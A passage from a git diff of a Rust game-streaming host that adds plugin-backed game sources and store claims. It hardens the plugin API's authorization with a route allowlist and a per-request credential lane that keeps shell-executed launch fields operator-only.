rejected + assert!(epic_launch_uri("").is_none()); + } + + #[cfg(windows)] + #[test] + fn gog_spawn_parses_and_guards() { + let (cmd, wd) = gog_spawn("C:\\Games\\W3\\witcher3.exe\t--skip\tC:\\Games\\W3").unwrap(); + assert_eq!(cmd, "\"C:\\Games\\W3\\witcher3.exe\" --skip"); + assert_eq!(wd, Some(std::path::PathBuf::from("C:\\Games\\W3"))); + let (cmd2, wd2) = gog_spawn("C:\\g.exe").unwrap(); + assert_eq!(cmd2, "\"C:\\g.exe\""); + assert!(wd2.is_none()); + assert!(gog_spawn("").is_none()); + } + #[cfg(windows)] #[test] fn windows_launch_for_maps_and_guards() { diff --git a/crates/punktfunk-host/src/library/lutris.rs b/crates/punktfunk-host/src/library/lutris.rs index 571aa5e2..3937ccd5 100644 --- a/crates/punktfunk-host/src/library/lutris.rs +++ b/crates/punktfunk-host/src/library/lutris.rs @@ -84,6 +84,7 @@ fn lutris_games(db: &Path) -> rusqlite::Result> { for (id, slug, name, directory) in rows.flatten() { games.push(GameEntry { provider: None, + role: GameRole::Game, meta: GameMeta::pc(), id: format!("lutris:{id}"), store: "lutris".into(), diff --git a/crates/punktfunk-host/src/library/scanners.rs b/crates/punktfunk-host/src/library/scanners.rs index 3279ebe4..0e969860 100644 --- a/crates/punktfunk-host/src/library/scanners.rs +++ b/crates/punktfunk-host/src/library/scanners.rs @@ -12,19 +12,41 @@ use super::*; -/// One installed-store scanner this host build supports, with its enable state — the unit the -/// console renders a toggle for. The list is platform-gated at compile time (the scanners are), -/// so the console never shows a toggle that cannot do anything on this host. +/// One **game source** on this host, with its enable state — the unit the console renders a toggle +/// for. A source is either a scanner compiled into this build or a plugin that reconciles entries in +/// (WP2.6); the console treats them identically, which is what makes the extraction invisible. #[derive(Clone, Debug, Serialize, ToSchema)] pub struct ScannerInfo { - /// Stable scanner id — the same string the scanner's entries carry in their `store` field. + /// Stable source id — the same string this source's entries carry in their `store` field. For a + /// plugin source it is also its provider id and its store claim: one string, by construction, so + /// a user's disabled state survives a built-in scanner being replaced by its plugin. #[schema(example = "steam")] pub id: String, /// Human-facing name for the console toggle. #[schema(example = "Steam")] pub label: String, - /// Whether this host runs the scanner (default true). + /// Whether this host runs the source (default true). pub enabled: bool, + /// Where the source comes from: `builtin` (a scanner in this host build) or `plugin`. + #[schema(example = "builtin")] + pub origin: SourceOrigin, + /// The provider id backing a `plugin` source — absent for a built-in scanner. + #[serde(skip_serializing_if = "Option::is_none")] + pub provider: Option, + /// How many entries this source currently contributes. `None` for a built-in scanner, whose + /// count would mean walking every launcher's files just to render a toggle. + #[serde(skip_serializing_if = "Option::is_none")] + pub entries: Option, +} + +/// Where a [`ScannerInfo`] comes from. +#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, ToSchema)] +#[serde(rename_all = "lowercase")] +pub enum SourceOrigin { + /// A scanner compiled into this host build. + Builtin, + /// A plugin reconciling entries over the provider API. + Plugin, } /// The scanners compiled into THIS host build: (id, label). Steam is cross-platform; the rest are @@ -87,26 +109,93 @@ pub(crate) fn disabled_scanners() -> HashSet { load_settings().disabled.into_iter().collect() } -/// The scanners available on this platform with their current enable state, in the fixed -/// definition order (stable for the console). +/// Every game source on this host with its current enable state (WP2.6): +/// +/// 1. the built-in scanners this build compiled in, **minus** any whose store a plugin has claimed +/// (the plugin replaces it, so showing both would offer two toggles for one thing); +/// 2. the claimed stores themselves, as plugin sources; +/// 3. any other provider that has entries — the *emergent* case (rom-manager, playnite), which has +/// never had a toggle before and gets one for free here. +/// +/// Built-ins keep their fixed definition order (stable for the console); plugin sources follow, +/// sorted by id. pub fn list_scanners() -> Vec { let off = disabled_scanners(); - scanner_defs() + let claims = crate::library::claimed_stores(); + let entries = crate::library::load_custom(); + + let mut out: Vec = scanner_defs() .into_iter() + .filter(|(id, _)| !claims.contains_key(*id)) .map(|(id, label)| ScannerInfo { id: id.to_string(), label: label.to_string(), enabled: !off.contains(id), + origin: SourceOrigin::Builtin, + provider: None, + entries: None, }) - .collect() + .collect(); + + // A claimed store shows under the SCANNER's label where we know one, so the row a user has been + // toggling for releases doesn't rename itself out from under them mid-migration. + let label_for = |id: &str| { + scanner_defs() + .into_iter() + .find(|(sid, _)| *sid == id) + .map(|(_, label)| label.to_string()) + .unwrap_or_else(|| id.to_string()) + }; + + let mut plugin_ids: Vec<(String, String)> = claims + .iter() + .map(|(store, provider)| (store.clone(), provider.clone())) + .collect(); + // Emergent providers: any provider with entries that isn't already listed via a claim. + for e in &entries { + let Some(provider) = e.provider.as_deref() else { + continue; + }; + if e.store.is_none() && !plugin_ids.iter().any(|(id, _)| id == provider) { + plugin_ids.push((provider.to_string(), provider.to_string())); + } + } + plugin_ids.sort(); + plugin_ids.dedup(); + + out.extend(plugin_ids.into_iter().map(|(id, provider)| { + let count = entries + .iter() + .filter(|e| crate::library::source_id_for(e) == Some(id.as_str())) + .count(); + ScannerInfo { + label: label_for(&id), + enabled: !off.contains(&id), + origin: SourceOrigin::Plugin, + provider: Some(provider), + entries: Some(count), + id, + } + })); + out } -/// Enable/disable one scanner. `None` when `id` names no scanner available on this platform (the -/// mgmt layer maps that to 404 — the console only ever sees this host's own list). Persists and -/// emits `library.changed` (source = the scanner id) only when the state actually changed, so a -/// repeated PUT is a cheap no-op. +/// Whether `id` names a source that exists on this host right now — a compiled-in scanner, a claimed +/// store, or a provider with entries. The toggle accepts exactly these (an unknown id still 404s). +fn is_known_source(id: &str) -> bool { + scanner_defs().iter().any(|(sid, _)| *sid == id) || list_scanners().iter().any(|s| s.id == id) +} + +/// Enable/disable one source. `None` when `id` names no source on this host (the mgmt layer maps +/// that to 404 — the console only ever sees this host's own list). Persists and emits +/// `library.changed` (source = the id) only when the state actually changed, so a repeated PUT is a +/// cheap no-op. +/// +/// The **same** `library-scanners.json` disabled-set backs built-in and plugin sources alike, and +/// the ids match by construction — so a user who disabled `steam` before the migration still has it +/// disabled after the steam plugin claims the store, with nothing to carry over. pub fn set_scanner_enabled(id: &str, enabled: bool) -> Result>> { - if !scanner_defs().iter().any(|(sid, _)| *sid == id) { + if !is_known_source(id) { return Ok(None); } let mut settings = load_settings(); diff --git a/crates/punktfunk-host/src/library/steam.rs b/crates/punktfunk-host/src/library/steam.rs index d42b1b11..71425505 100644 --- a/crates/punktfunk-host/src/library/steam.rs +++ b/crates/punktfunk-host/src/library/steam.rs @@ -29,6 +29,7 @@ impl LibraryProvider for SteamProvider { .filter(|app| !is_steam_tool(app.appid, &app.name)) .map(|app| GameEntry { provider: None, + role: GameRole::Game, meta: GameMeta::pc(), id: format!("steam:{}", app.appid), store: "steam".into(), @@ -383,6 +384,7 @@ fn shortcut_entry(sc: Shortcut) -> Option { } Some(GameEntry { provider: None, + role: GameRole::Game, meta: GameMeta::pc(), id: format!("steam:{}", sc.appid), store: "steam".into(), @@ -426,12 +428,8 @@ fn shortcuts_files() -> Vec { files } -/// The 64-bit game id `steam://rungameid/` needs to launch a non-Steam shortcut: high dword = the -/// 32-bit shortcut appid, low dword = the shortcut marker `0x0200_0000`. (Handing `rungameid` the -/// bare 32-bit appid does not launch a shortcut — it must be this composed id.) -fn shortcut_gameid(appid: u32) -> u64 { - ((appid as u64) << 32) | 0x0200_0000 -} +// `shortcut_gameid` (the 64-bit `rungameid` composition) moved to `launch.rs` (WP1.1) — it is launch +// vocabulary; this module only reads the 32-bit appid out of `shortcuts.vdf`. /// The 32-bit appid Steam derives for a shortcut from its target+name — `crc32(exe + name)` with the /// high bit set. Only used when `shortcuts.vdf` omits the stored `appid` (very old Steam); modern @@ -762,12 +760,7 @@ mod tests { assert!(launch.value.bytes().all(|b| b.is_ascii_digit())); } - #[test] - fn shortcut_gameid_composes_appid_and_marker() { - let id = shortcut_gameid(0x8000_0000); - assert_eq!(id >> 32, 0x8000_0000); // high dword is the appid - assert_eq!(id & 0xFFFF_FFFF, 0x0200_0000); // low dword is the shortcut marker - } + // `shortcut_gameid_composes_appid_and_marker` moved with the function to `launch.rs` (WP1.1). #[test] fn crc32_matches_the_known_check_value_and_derives_a_high_bit_appid() { diff --git a/crates/punktfunk-host/src/library/xbox.rs b/crates/punktfunk-host/src/library/xbox.rs index 49d60151..82db43f7 100644 --- a/crates/punktfunk-host/src/library/xbox.rs +++ b/crates/punktfunk-host/src/library/xbox.rs @@ -70,6 +70,7 @@ fn xbox_games() -> Vec { let art = cached_art(&id).unwrap_or_default(); games.push(GameEntry { provider: None, + role: GameRole::Game, meta: GameMeta::pc(), id, store: "xbox".into(), @@ -133,8 +134,14 @@ fn xbox_parse_config(text: &str, folder: Option<&str>) -> Option<(String, String /// Resolve a package's PackageFamilyName by finding its /// `AppRepository\Packages\` dir (machine-wide, SYSTEM-readable) and reducing the /// full name to `Name_PublisherHash`. This READS the authoritative PFN — never compute the hash. +/// +/// **Readable by the host, NOT by the plugin runner.** Measured on 2026-08-06: that directory is +/// `UnauthorizedAccessException` for `NT AUTHORITY\LocalService` (which the runner is), while the +/// host service runs as LocalSystem and enumerates all 348 entries. That asymmetry is why the +/// `xbox` launch kind exists — a library plugin sends the package Identity it CAN read out of +/// `MicrosoftGame.config`, and this resolves the rest at launch time (see `launch.rs`). #[cfg(windows)] -fn xbox_pfn(identity: &str) -> Option { +pub(crate) fn xbox_pfn(identity: &str) -> Option { let pkgs = PathBuf::from(std::env::var_os("ProgramData")?) .join("Microsoft") .join("Windows") diff --git a/crates/punktfunk-host/src/main.rs b/crates/punktfunk-host/src/main.rs index 9c6b8484..ffa73ae7 100644 --- a/crates/punktfunk-host/src/main.rs +++ b/crates/punktfunk-host/src/main.rs @@ -800,7 +800,16 @@ fn parse_serve(args: &[String]) -> Result<(mgmt::Options, native::NativeServe, b // The scripting runner's scoped credential: minted + persisted (plugin-token) alongside the // admin token so a plugin's zero-config `connect()` picks it up — it authorizes the plugin // surface but not hook registration or pairing administration (mgmt::auth::plugin_may_access). - opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?); + // + // Only when a runner is actually installed. It used to be minted unconditionally on every + // `serve`, so a host with no plugins — the common case — still persisted a second + // admin-adjacent credential to disk and kept a second authentication lane live for a + // subsystem it does not run (2026-08-05 review L-21). Installing the runner later mints it on + // the next start, and an existing plugin-token file is picked up unchanged, so nothing about + // the plugin flow changes for a host that has one. + if crate::plugins::runtime_status().installed { + opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?); + } // Default the mgmt listener to ALL interfaces (not just loopback) so a paired native client can // fetch the game library over mTLS with no operator step — the whole point of "browse works by // default". This only LAN-exposes the read-only cert allowlist; the bearer-token admin surface diff --git a/crates/punktfunk-host/src/mgmt/auth.rs b/crates/punktfunk-host/src/mgmt/auth.rs index f71a621b..198559e7 100644 --- a/crates/punktfunk-host/src/mgmt/auth.rs +++ b/crates/punktfunk-host/src/mgmt/auth.rs @@ -17,6 +17,42 @@ use axum::http::Method; use axum::middleware::Next; use sha2::{Digest, Sha256}; +/// **Which credential authorized this request**, attached to the request extensions by +/// [`require_auth`] on every request it forwards. +/// +/// [`plugin_may_access`] answers "may this lane reach this route"; this answers "may this lane set +/// this *field*". Some payloads carry operator-privileged fields on routes a plugin otherwise has +/// every business calling — the library reconcile is the case that matters: a provider plugin owns +/// its entry set, but `prep` and `launch.kind == "command"` are executed verbatim as the host user +/// (`/bin/sh -c` / `cmd.exe /c`), which is the same primitive the `/hooks` carve-out withholds. +/// Route-level authorization cannot express that; a handler holding this can (see +/// [`crate::library::reject_privileged_fields`]). +/// +/// Extracted by handlers as `Extension`. A missing extension is a 500, not a default — +/// a router that forgot the middleware must fail closed, never silently grant admin. +#[derive(Clone, Copy, Debug, PartialEq, Eq)] +pub(crate) enum AuthLane { + /// The operator's admin bearer token (loopback): everything, including the privileged fields. + Admin, + /// The scripting runner's scoped bearer token (loopback): [`plugin_may_access`] routes, and + /// never the operator-privileged fields inside them. + Plugin, + /// A paired streaming client certificate (mTLS, LAN): the read-only [`cert_may_access`] set. + Cert, + /// An always-open route (`/health`) or the loopback-only tray summary — no credential at all. + Public, +} + +impl AuthLane { + /// Whether this lane may set fields that become command execution as the host user. Only the + /// operator's own token may: the console is the surface where the operator types a command, and + /// typing it there is the trust decision. Everything else is refused, including a paired cert + /// (which cannot reach a write route anyway — belt and braces if the allowlist ever grows). + pub(crate) fn may_set_privileged_fields(self) -> bool { + matches!(self, AuthLane::Admin) + } +} + /// Auth gate on the `/api/v1` routes: a paired client cert (mTLS, from anywhere) or the bearer token /// (from a **loopback** peer only) — required always (the host runs with a token by construction). /// `/api/v1/health` stays open for probes; `/api/v1/local/summary` is open to loopback peers only @@ -28,8 +64,15 @@ pub(crate) async fn require_auth( req: Request, next: Next, ) -> Response { + /// Stamp the authorizing lane onto the request before it reaches a handler, so a handler can + /// refuse operator-privileged FIELDS to a non-operator lane (see [`AuthLane`]). + async fn forward(mut req: Request, next: Next, lane: AuthLane) -> Response { + req.extensions_mut().insert(lane); + next.run(req).await + } + if req.uri().path() == "/api/v1/health" { - return next.run(req).await; // liveness probe is always open + return forward(req, next, AuthLane::Public).await; // liveness probe is always open } // The tray icon's status source: non-sensitive counts/booleans only, unauthenticated but // confined to LOOPBACK peers. The bearer-token file (and cert.pem) are SYSTEM/Administrators- @@ -43,7 +86,7 @@ pub(crate) async fn require_auth( .get::() .is_none_or(|a| a.0.ip().is_loopback()); return if from_loopback { - next.run(req).await + forward(req, next, AuthLane::Public).await } else { api_error( StatusCode::UNAUTHORIZED, @@ -61,7 +104,7 @@ pub(crate) async fn require_auth( if cert_may_access(req.method(), req.uri().path()) && st.native.as_ref().is_some_and(|n| n.is_paired(fp)) { - return next.run(req).await; + return forward(req, next, AuthLane::Cert).await; } } // Otherwise require the bearer token (the web console / admin) — but only from a LOOPBACK peer. @@ -92,7 +135,7 @@ pub(crate) async fn require_auth( .and_then(|v| v.to_str().ok()) .and_then(|v| v.strip_prefix("Bearer ")); match presented { - Some(token) if token_eq(token, expected) => next.run(req).await, + Some(token) if token_eq(token, expected) => forward(req, next, AuthLane::Admin).await, // The scripting runner's scoped lane: same loopback confinement as the admin token, but // routes that would let a plugin escalate — registering hooks (arbitrary command // execution as the host user) or administering pairing (admitting/ejecting devices, @@ -105,7 +148,7 @@ pub(crate) async fn require_auth( .is_some_and(|pt| token_eq(token, pt)) => { if plugin_may_access(req.method(), req.uri().path()) { - next.run(req).await + forward(req, next, AuthLane::Plugin).await } else { api_error( StatusCode::FORBIDDEN, @@ -121,9 +164,18 @@ pub(crate) async fn require_auth( } } -/// Which routes the scripting runner's **plugin token** may reach: the admin surface minus the -/// escalation routes. Exclusion-based (a plugin legitimately reads status/library/events, drives -/// sessions, and registers its UI lease), with these carve-outs: +/// The routes the scripting runner's **plugin token** may reach — an explicit **allowlist**, so a +/// route added later is denied until someone classifies it (`plugin_lane_classifies_every_route` in +/// `mgmt::tests` fails the build otherwise). +/// +/// This gate used to be a denylist of route prefixes, and that is precisely how the 2026-08-05 +/// review's H-1/H-2 arrived: `/api/v1/library` was never enumerated, so the plugin lane inherited +/// two copies of the very "arbitrary command execution as the host user" primitive the `/hooks` +/// carve-out exists to withhold, plus an unconfined file read. Every sibling gate in the system +/// (`cert_may_access`, the QUIC pairing gate, the console's `isPublicPath`) is deny-by-default; +/// this one now is too. +/// +/// What stays *out* of the list, and why: /// - **hooks** — `hooks.json` runs operator commands on lifecycle events; writing it is arbitrary /// command execution as the host user, and reading it can expose webhook credentials. /// - **pairing administration** — arming/approving/denying/unpairing (and PIN visibility) decide @@ -133,29 +185,90 @@ pub(crate) async fn require_auth( /// secret; only the console proxy (admin token) needs it. /// - **the plugin store** — installing a plugin is running new code with operator privileges, and a /// plugin that can do that is a persistence/escalation primitive: it could install a helper that -/// isn't constrained the way it is, or switch the runner's own service state. Denied wholesale -/// (reads included — the catalog is not sensitive, but there is no reason a plugin needs it, and -/// a whole-prefix deny can't be defeated by a route added later). +/// isn't constrained the way it is, or switch the runner's own service state. +/// - **the update surface** — operator business end to end (`apply` runs an installer / the root +/// helper). +/// +/// The library *writes* below are on the list because a provider plugin's whole job is reconciling +/// its own entries — but the two operator-privileged FIELDS inside those payloads (`prep`, and +/// `launch.kind == "command"`) are refused to this lane in the handlers, via [`AuthLane`]. Route +/// reachability and field authority are separate questions and this gate only answers the first. pub(crate) fn plugin_may_access(method: &Method, path: &str) -> bool { - let denied = path == "/api/v1/hooks" - || path == "/api/v1/store" - || path.starts_with("/api/v1/store/") - || path == "/api/v1/pair" - || path.starts_with("/api/v1/pair/") - || path == "/api/v1/native/pair" - || path.starts_with("/api/v1/native/pair/") - || path == "/api/v1/native/pending" - || path.starts_with("/api/v1/native/pending/") - || (method == Method::DELETE - && (path.starts_with("/api/v1/clients/") - || path.starts_with("/api/v1/native/clients/"))) - || (path.starts_with("/api/v1/plugins/") && path.ends_with("/ui-credential")) - // The update surface is operator business end to end: today it is only a check, but - // the same prefix will carry `apply` (running an installer / the root helper), and a - // whole-prefix deny can't be defeated by a route added later. - || path == "/api/v1/update" - || path.starts_with("/api/v1/update/"); - !denied + // (method, path) pairs, `{}` matching exactly one path segment. Grouped as the route table is. + const ALLOWED: &[(&Method, &str)] = &[ + // Host / status reads. + (&Method::GET, "/api/v1/health"), + (&Method::GET, "/api/v1/host"), + (&Method::GET, "/api/v1/status"), + (&Method::GET, "/api/v1/local/summary"), + (&Method::GET, "/api/v1/compositors"), + (&Method::GET, "/api/v1/events"), + (&Method::GET, "/api/v1/logs"), + // The paired-device rosters: read-only. (DELETE is pairing administration — not listed.) + (&Method::GET, "/api/v1/clients"), + (&Method::GET, "/api/v1/native/clients"), + // GPU + display control: host configuration a plugin may legitimately steer (a room + // automation plugin swaps the layout with the lights); no privilege boundary crossed. + (&Method::GET, "/api/v1/gpus"), + (&Method::PUT, "/api/v1/gpus/preference"), + (&Method::GET, "/api/v1/display/settings"), + (&Method::PUT, "/api/v1/display/settings"), + (&Method::GET, "/api/v1/display/state"), + (&Method::GET, "/api/v1/display/monitors"), + (&Method::PUT, "/api/v1/display/layout"), + (&Method::POST, "/api/v1/display/release"), + (&Method::GET, "/api/v1/display/presets"), + (&Method::POST, "/api/v1/display/presets"), + (&Method::PUT, "/api/v1/display/presets/{}"), + (&Method::DELETE, "/api/v1/display/presets/{}"), + // Session control: stopping/steering a session is what a launcher plugin exists to do. + (&Method::DELETE, "/api/v1/session"), + (&Method::POST, "/api/v1/session/idr"), + (&Method::GET, "/api/v1/session/settings"), + (&Method::PUT, "/api/v1/session/settings"), + (&Method::POST, "/api/v1/game/end"), + // Library: reads, plus the provider reconcile a scanner plugin is built around. The + // operator-only FIELDS inside these payloads are refused separately (see `AuthLane`). + (&Method::GET, "/api/v1/library"), + (&Method::GET, "/api/v1/library/art/{}/{}"), + (&Method::GET, "/api/v1/library/scanners"), + (&Method::PUT, "/api/v1/library/scanners/{}"), + (&Method::POST, "/api/v1/library/custom"), + (&Method::PUT, "/api/v1/library/custom/{}"), + (&Method::DELETE, "/api/v1/library/custom/{}"), + (&Method::PUT, "/api/v1/library/provider/{}"), + (&Method::DELETE, "/api/v1/library/provider/{}"), + // Stats / telemetry. + (&Method::POST, "/api/v1/stats/capture/start"), + (&Method::POST, "/api/v1/stats/capture/stop"), + (&Method::GET, "/api/v1/stats/capture/status"), + (&Method::GET, "/api/v1/stats/capture/live"), + (&Method::GET, "/api/v1/stats/recordings"), + (&Method::GET, "/api/v1/stats/recordings/{}"), + (&Method::DELETE, "/api/v1/stats/recordings/{}"), + // The plugin's own directory entry + log ingest (its UI lease registration). + (&Method::GET, "/api/v1/plugins"), + (&Method::POST, "/api/v1/plugins/logs"), + (&Method::PUT, "/api/v1/plugins/{}"), + (&Method::DELETE, "/api/v1/plugins/{}"), + ]; + ALLOWED + .iter() + .any(|(m, pat)| *m == method && path_matches(pat, path)) +} + +/// Match a route pattern against a concrete path, `{}` standing for exactly one segment. Segment- +/// wise (never a substring/prefix test), so `/api/v1/plugins/{}` cannot swallow +/// `/api/v1/plugins/x/ui-credential` the way a `starts_with` would. +fn path_matches(pattern: &str, path: &str) -> bool { + let (mut p, mut a) = (pattern.split('/'), path.split('/')); + loop { + match (p.next(), a.next()) { + (None, None) => return true, + (Some(pe), Some(ae)) if pe == "{}" || pe == ae => continue, + _ => return false, + } + } } /// Which routes a paired *streaming* cert (mTLS, no bearer token) may reach: a small allowlist of diff --git a/crates/punktfunk-host/src/mgmt/library.rs b/crates/punktfunk-host/src/mgmt/library.rs index e8292d26..21c2e525 100644 --- a/crates/punktfunk-host/src/mgmt/library.rs +++ b/crates/punktfunk-host/src/mgmt/library.rs @@ -1,8 +1,47 @@ //! Library-tagged management endpoints: installed-store + custom game entries and box art. //! Split out of the `mgmt` facade (plan §W5). +use super::auth::AuthLane; use super::shared::*; use axum::http::header; +use axum::Extension; + +/// Refuse a write whose payload carries an operator-privileged field to a lane that may not set one +/// (2026-08-05 review H-1), and refuse any local art path the proxy would not serve back (H-2). +/// +/// Both checks belong here rather than in the route gate: `PUT /library/provider/{p}` is a route a +/// provider plugin must be able to call — reconciling its own entry set is the whole point of a +/// scanner plugin — while `prep` / `launch.kind = "command"` inside that payload are the operator's +/// authority alone. Route reachability and field authority are separate questions. +/// +/// `Some(response)` is the refusal to return; `None` means the payload may proceed. Deliberately +/// not `Result<(), Response>`: the "error" here IS the response the handler sends, so there is no +/// error value to propagate, and a 128-byte `Response` in an `Err` variant is what +/// `clippy::result_large_err` objects to. +fn check_entry_fields( + lane: AuthLane, + art: &crate::library::Artwork, + launch: Option<&crate::library::LaunchSpec>, + prep: &[crate::hooks::PrepCmd], +) -> Option { + if !lane.may_set_privileged_fields() { + if let Some(field) = crate::library::privileged_field(launch, prep) { + return Some(api_error( + StatusCode::FORBIDDEN, + &format!( + "`{field}` is executed as the host user and may only be set with the \ + operator's admin token — a plugin may publish entries with any host-resolved \ + launch kind (steam_appid, steam_ui, launcher_ui, epic, gog, aumid, xbox, lutris_id, \ + heroic, playnite) \ + instead" + ), + )); + } + } + crate::library::validate_art_paths(art) + .err() + .map(|e| api_error(StatusCode::BAD_REQUEST, &e)) +} #[derive(Deserialize)] pub(crate) struct LibraryQuery { @@ -34,6 +73,7 @@ pub(crate) struct LibraryQuery { ) )] pub(crate) async fn get_library( + Extension(lane): Extension, Query(q): Query, ) -> Json> { let mut games = crate::library::all_games(); @@ -54,6 +94,24 @@ pub(crate) async fn get_library( for g in &mut games { crate::library::proxy_local_art(&g.id, &mut g.art); } + // Redact the operator's command lines for every lane but their own (2026-08-05 review L-1). + // + // `cert_may_access` allows `GET /library`, so this response goes to every paired STREAMING + // client on the LAN — and for a custom entry `launch.value` is the raw shell command or + // absolute exe path the operator typed. The adjacent `detect` field is `#[serde(skip)]` for + // exactly this reason; `launch` simply never got the same treatment. Clients don't need it: + // a client picks a title by ID and the host resolves the recipe itself (`resolve_launch`), + // which is the invariant that stops a client injecting a command in the first place. The + // `kind` stays, so "this is launchable, and how" still renders. + if !lane.may_set_privileged_fields() { + for g in &mut games { + if let Some(l) = g.launch.as_mut() { + if l.kind == "command" { + l.value.clear(); + } + } + } + } Json(games) } @@ -141,11 +199,15 @@ pub(crate) async fn set_library_scanner( ) )] pub(crate) async fn create_custom_game( + Extension(lane): Extension, ApiJson(input): ApiJson, ) -> Response { if input.title.trim().is_empty() { return api_error(StatusCode::BAD_REQUEST, "title must not be empty"); } + if let Some(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) { + return denied; + } match crate::library::add_custom(input) { Ok(entry) => (StatusCode::CREATED, Json(entry)).into_response(), Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()), @@ -169,12 +231,16 @@ pub(crate) async fn create_custom_game( ) )] pub(crate) async fn update_custom_game( + Extension(lane): Extension, Path(id): Path, ApiJson(input): ApiJson, ) -> Response { if input.title.trim().is_empty() { return api_error(StatusCode::BAD_REQUEST, "title must not be empty"); } + if let Some(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) { + return denied; + } use crate::library::MutateOutcome; match crate::library::update_custom(&id, input) { Ok(MutateOutcome::Done(entry)) => Json(entry).into_response(), @@ -185,6 +251,11 @@ pub(crate) async fn update_custom_game( StatusCode::CONFLICT, &format!("entry is owned by provider `{p}` — update it through its reconcile"), ), + // Store claims are a reconcile-only concern — the manual CRUD never requests one. + Ok(MutateOutcome::StoreClaimed { .. }) => api_error( + StatusCode::INTERNAL_SERVER_ERROR, + "unexpected claim outcome", + ), Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()), } } @@ -216,6 +287,11 @@ pub(crate) async fn delete_custom_game(Path(id): Path) -> Response { "entry is owned by provider `{p}` — remove it there, or DELETE the provider set" ), ), + // Store claims are a reconcile-only concern — the manual CRUD never requests one. + Ok(MutateOutcome::StoreClaimed { .. }) => api_error( + StatusCode::INTERNAL_SERVER_ERROR, + "unexpected claim outcome", + ), Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()), } } @@ -227,6 +303,13 @@ pub(crate) struct ProviderRemoved { removed: usize, } +/// Query for `reconcileProviderEntries` — the optional store claim (D2). +#[derive(Deserialize)] +pub(crate) struct ReconcileQuery { + /// Claim this store for the provider, so its entries take the store's own identity. + store: Option, +} + /// Replace a provider's library entries (declarative reconcile) /// /// Atomically replaces the full entry set owned by `{provider}` (RFC §8): the payload is the @@ -234,39 +317,80 @@ pub(crate) struct ProviderRemoved { /// surviving title's host id stable across reconciles, drops orphans, and never touches manual /// entries or other providers'. An empty array removes everything the provider owns. Emits /// `library.changed` with the provider as `source`. +/// +/// `?store=` additionally **claims** that store for the provider: its entries then surface with +/// deterministic `:` ids and the store's own badge, instead of opaque +/// `custom:` ones — which is what lets a library plugin reproduce the entries an in-host scanner +/// used to produce, right down to the GameStream app ids and client-side art caches. One provider +/// per store; a second claimant gets 409. While a claim is held the matching built-in scanner is +/// suppressed, so the two never double-list. The claim is released by `DELETE`, not by an empty +/// reconcile (a store can legitimately have zero installed titles). #[utoipa::path( put, path = "/library/provider/{provider}", tag = "library", operation_id = "reconcileProviderEntries", - params(("provider" = String, Path, description = "The provider id ([a-z0-9._-], `manual` reserved)")), + params( + ("provider" = String, Path, description = "The provider id ([a-z0-9._-], `manual` reserved)"), + ("store" = Option, Query, description = "Claim this store for the provider ([a-z0-9_-], `custom`/`manual` reserved)"), + ), request_body = Vec, responses( (status = OK, description = "The provider's resulting entries (host ids assigned/kept)", body = [crate::library::CustomEntry]), - (status = BAD_REQUEST, description = "Invalid provider id or payload", body = ApiError), + (status = BAD_REQUEST, description = "Invalid provider id, store id, or payload", body = ApiError), (status = UNAUTHORIZED, description = "Missing or invalid bearer token", body = ApiError), + (status = CONFLICT, description = "That store is already claimed by another provider", body = ApiError), (status = INTERNAL_SERVER_ERROR, description = "Could not persist the catalog", body = ApiError), ) )] pub(crate) async fn reconcile_provider_entries( + Extension(lane): Extension, Path(provider): Path, + Query(q): Query, ApiJson(inputs): ApiJson>, ) -> Response { if let Err(e) = crate::library::validate_provider_name(&provider) { return api_error(StatusCode::BAD_REQUEST, &e); } + let store = q.store.filter(|s| !s.is_empty()); + if let Some(store) = &store { + if let Err(e) = crate::library::validate_store_claim(store) { + return api_error(StatusCode::BAD_REQUEST, &e); + } + } if let Err(e) = crate::library::validate_provider_payload(&inputs) { return api_error(StatusCode::BAD_REQUEST, &e); } - match crate::library::reconcile_provider(&provider, inputs) { - Ok(entries) => { + // Every entry in the payload, not just the first — a reconcile replaces a whole entry set, so + // one privileged field anywhere in it is one command execution. + for (i, e) in inputs.iter().enumerate() { + if let Some(denied) = check_entry_fields(lane, &e.art, e.launch.as_ref(), &e.prep) { + tracing::warn!( + provider, + index = i, + "library reconcile refused: payload carries a field this lane may not set" + ); + return denied; + } + } + match crate::library::reconcile_provider(&provider, store.as_deref(), inputs) { + Ok(crate::library::MutateOutcome::Done(entries)) => { tracing::info!( provider, + store = store.as_deref().unwrap_or("-"), count = entries.len(), "library provider reconciled" ); Json(entries).into_response() } + Ok(crate::library::MutateOutcome::StoreClaimed { store, provider }) => api_error( + StatusCode::CONFLICT, + &format!("store `{store}` is already claimed by provider `{provider}`"), + ), + Ok(_) => api_error( + StatusCode::INTERNAL_SERVER_ERROR, + "unexpected reconcile outcome", + ), Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()), } } @@ -306,11 +430,12 @@ pub(crate) async fn delete_provider_entries(Path(provider): Path) -> Res /// Fetch one cover-art image for a library entry /// /// Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams -/// the image bytes. For a Steam title, the host's own local Steam cache is tried first (exact — -/// it's what the user's Steam client already shows for it), the public Steam CDN's flat URL -/// convention as a fallback (newer titles' CDN assets can live at a per-asset-hash path the host -/// can't predict, in which case this 404s and the client falls through to its next art candidate). -/// Only Steam ids are backed today; any other store 404s. +/// the image bytes. Any id stored in the host's catalog (manual entries, provider-synced entries, +/// and a library plugin's claimed-store entries) serves its local art file. A Steam title falls back +/// to the in-host scanner's resolver: the host's own local Steam cache first (exact — it's what the +/// user's Steam client already shows for it), the public Steam CDN's flat URL convention second +/// (newer titles' CDN assets can live at a per-asset-hash path the host can't predict, in which case +/// this 404s and the client falls through to its next art candidate). #[utoipa::path( get, path = "/library/art/{id}/{kind}", @@ -330,7 +455,20 @@ pub(crate) async fn get_library_art(Path((id, kind)): Path<(String, String)>) -> let Some(kind) = crate::library::ArtKind::parse(&kind) else { return api_error(StatusCode::NOT_FOUND, "unknown art kind"); }; - // Steam: CDN / local-cache proxy (id `steam:`). + // `library.json` FIRST, for ANY id (WP1.2). Stored entries — manual, provider-synced, and (once + // store claims land) a scanner plugin's `steam:570` — all 